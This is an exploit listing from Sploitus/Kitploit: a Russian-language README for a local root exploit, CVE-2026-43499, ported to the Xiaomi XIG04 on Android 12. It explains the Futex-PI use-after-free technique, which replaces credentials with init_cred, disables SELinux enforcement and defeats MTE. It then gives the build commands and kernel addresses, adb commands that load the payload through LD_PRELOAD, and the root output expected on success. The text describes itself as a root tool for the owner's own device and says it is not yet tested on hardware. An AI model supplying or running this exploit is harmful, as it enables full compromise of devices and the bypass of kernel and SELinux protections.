Sploitus

Exploit for CVE-2026-43499-aristotle

kitploit · 2026-08-27

Exploit Code

MARKDOWN100 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SORALIS0912-CVE-2026-43499-ARISTOTLE
# CVE-2026-43499 — `aristotle` (au/KDDI Xiaomi XIG04)

Локальное повышение привилегий (tmp-root) для **au/KDDI Xiaomi «aristotle» (XIG04)** на **Android 12** через **CVE-2026-43499**. Это примитив рутинга для владельца устройства: он рутит ваш собственный телефон (например, чтобы снова включить ADB, когда параметры разработчика недоступны).

Это **порт aristotle** апстрим-реализации: **https://github.com/x-spy/CVE-2026-43499-popsicle** — которая нацелена на Xiaomi 17 / Pro / Ultra (`popsicle`, Snapdragon, Android 16, ядро `6.12.23`). Вся заслуга за технику эксплуатации принадлежит апстриму; этот форк лишь перенацеливает её на другое устройство и поколение ядра.

> Область применения: ваш собственный XIG04 с прошивкой `Xiaomi/XIG04_jp_kdi/XIG04:12/SP1A.210812.016/V14.0.3.0.TMFJPKD`. Это не универсальный и не удалённый эксплойт.

## Цель

root@kitploit:~
    
    
    device  : aristotle (au/KDDI XIG04), MediaTek, Android 12
    kernel  : 5.10.136-android12-9-00020-gc9f59ef34367-ab9585114  (VA=39, 4K pages, KASLR)
    

## Ошибка

CVE-2026-43499 — это use-after-free в пути Futex-PI ядра Linux: `remove_waiter()` в `kernel/locking/rtmutex.c` во время отката proxy-локировки из `futex_requeue()` работает с `current` вместо `waiter::task`, оставляя висячий `pi_blocked_on`. Это **старая, долгоживущая ошибка** (затрагивает Linux 2.6.39 – 6.18.x), поэтому используемое здесь ядро `5.10.136` попадает в диапазон (`CONFIG_FUTEX_PI=y`, `CONFIG_RT_MUTEXES=y`). Эксплойт использует data-only «direct-root» (подмена `cred` → `init_cred`, перевод SELinux из enforcing в permissive) и перебором подбирает теги MTE, чтобы обойти усиленную защиту устройства (`KASAN_HW_TAGS`, `MTE`, , ).

## Что отличается от апстрима (popsicle → aristotle)

Апстрим нацелен на Snapdragon / Android 16 / ядро 6.12; aristotle — это MediaTek / Android 12 / ядро 5.10, поэтому порт заново выводит всё, что зависит от конкретного устройства:

  * **`rt_mutex_waiter` — это старая плоская раскладка 5.10** (нет вложенного `rt_waiter_node`, нет `wake_state`/`ww_ctx`). Таблицы фейковых waiter в `source/src/{slide,fops}.c` и `source/src/util.c` пересобраны с 13 слов до 10.
  * **Нет`xbl_config`.** KASLR обходится динамически (утечка информации о ядре в `slide.c`); две физические константы, которые апстрим взял из Qualcomm XBL, заменены статическим базовым адресом DRAM (`0x40000000`, из device tree) плюс динамическими `memstart_addr` / `kimage_voffset`.
  * **В этом ядре нет BTF** , поэтому смещения структур восстанавливаются дизассемблированием и подставляются, а не читаются из BTF.
  * Все смещения, RVA и якоря KASLR были измерены именно для этого ядра — см. `ARISTOTLE_CVE43499_PORT.md`.



## Генерация целевого заголовочного файла

Измеренный `source/src/target.h` для XIG04 уже закоммичен, так что можно сразу собирать. Чтобы перегенерировать его из boot-образа, используйте генератор aristotle (без `--xbl-config`; он выдаёт RVA `memstart_addr`/`kimage_voffset` для динамического использования):

root@kitploit:~
    
    
    python3 gen_aristotle_target.py \
      --boot boot.img \
      --pselect-shift 0 \
      --loggers 0xffffffc012771380 \
      --boot-id-data 0xffffffc012886cf8 \
      --kernel-phys-load 0x40080000 \
      -o source/src/target.h
    

(Три якоря и kernel-phys-load — это значения, зашитые в закоммиченный заголовочный файл; о том, как они были получены, см. `ARISTOTLE_CVE43499_PORT.md`.)

## Сборка

Требуются Python 3 и Android NDK (r29). **Обязателен`API=31`**, чтобы пейлоад загружался на Android 12:

root@kitploit:~
    
    
    make -C source clean preload API=31
    

Если NDK не определяется автоматически:

root@kitploit:~
    
    
    NDK_ROOT=/path/to/android-ndk make -C source clean preload API=31
    

Конечный артефакт:

root@kitploit:~
    
    
    source/build/bin/preload.so
    

## Запуск

root@kitploit:~
    
    
    adb push source/build/bin/preload.so /data/local/tmp/preload.so
    adb shell 'chmod 0644 /data/local/tmp/preload.so'
    adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
    adb shell '/data/local/tmp/su -c id'
    

При успехе:

root@kitploit:~
    
    
    uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
    direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
    

`preload.so` содержит и самостоятельно устанавливает собственный клиент и демон `su` при загрузке, поэтому отдельный бинарник `su` не нужен.

> Статус: порт завершён по коду по результатам статического анализа, но **ещё не проверен на реальном устройстве**. Сначала проверьте срабатывание краша, затем рут — на своём собственном устройстве. Параметры настройки, зависящие от ядра (`MM_ORDER`, `P0_KERNEL_PHYS_LOAD`, поведение плоского waiter), перечислены в `ARISTOTLE_CVE43499_PORT.md`.